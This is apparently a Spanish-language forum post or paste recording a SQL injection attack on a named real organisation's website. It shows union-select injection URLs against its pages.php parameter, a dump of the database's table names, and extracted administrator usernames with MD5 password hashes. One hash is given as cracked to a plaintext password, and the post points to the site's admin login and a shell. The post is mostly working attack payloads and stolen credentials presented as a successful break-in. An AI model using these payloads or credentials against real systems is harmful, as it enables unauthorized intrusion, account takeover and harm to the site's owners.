inf-fni tiene otros 2 dominios

http://www.inf-fni.org/pages.php?id=-1+union+select+0,1,2,3,4,5,6,7,8,9,10,11


http://www.inf-fni.org/pages.php?id=-1+union+select+0,1,2,3,table_name,5,6,7,8,9,10,11+from+information_schema.tables--

------------------------------------------------------------
pung me tiro toda la imformacion molidita xD.

CHARACTER_SETS

CHARACTER_SETS

COLLATIONS

COLLATION_CHARACTER_SET_APPLICABILITY

COLUMNS

COLUMN_PRIVILEGES

KEY_COLUMN_USAGE

PROFILING

ROUTINES

SCHEMATA

SCHEMA_PRIVILEGES

STATISTICS

TABLES

TABLE_CONSTRAINTS

TABLE_PRIVILEGES

TRIGGERS

USER_PRIVILEGES

VIEWS

ad_log

administrator

ads

bd45_calendars

bd45_calendars_embed

bd45_calendars_text_color

bd45_calendars_text_font

bd45_calendars_text_size

bd45_calendars_text_style

bd45_categories

bd45_dates

bd45_events

bd45_holidays

bd45_reminders

bd45_reservations

bd45_statistics

bd45_system

bd45_usergroups

bosdevUUS

federations

images

infdb02

labels

latlng

locations

members

news

offers

order_lines

pages

products

sessions


8

http://www.inf-fni.org/pages.php?id=-1+union+select+0,1,2,3,column_name,5,6,7,8,9,10,11+from+information_schema.columns+where%28table_name=0x61646d696e6973747261746f72%29limit+1,1--


username=1  password=2


http://www.inf-fni.org/pages.php?id=-1+union+select+0,1,2,3,group_concat%28username,0x3a,password%29,5,6,7,8,9,10,11+from+administrator


cjadmin:0ba735fc80f687e41c9132bd55e1737f,TnCi2010:59185cb7ba50a6be6570d9679486ad39
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND page_active = 1 ORDER BY page_order' at line 1


bueno por lo que veo dos admin creo pero jeje aki estan mmm
en md5

user
cjadmin
password
0ba735fc80f687e41c9132bd55e1737f
no se pudo mmm :(

-----------------------------------------------
user
TnCi2010
59185cb7ba50a6be6570d9679486ad39
desencriptada
uareme03

http://www.inf-fni.org/admin/

exploit-shell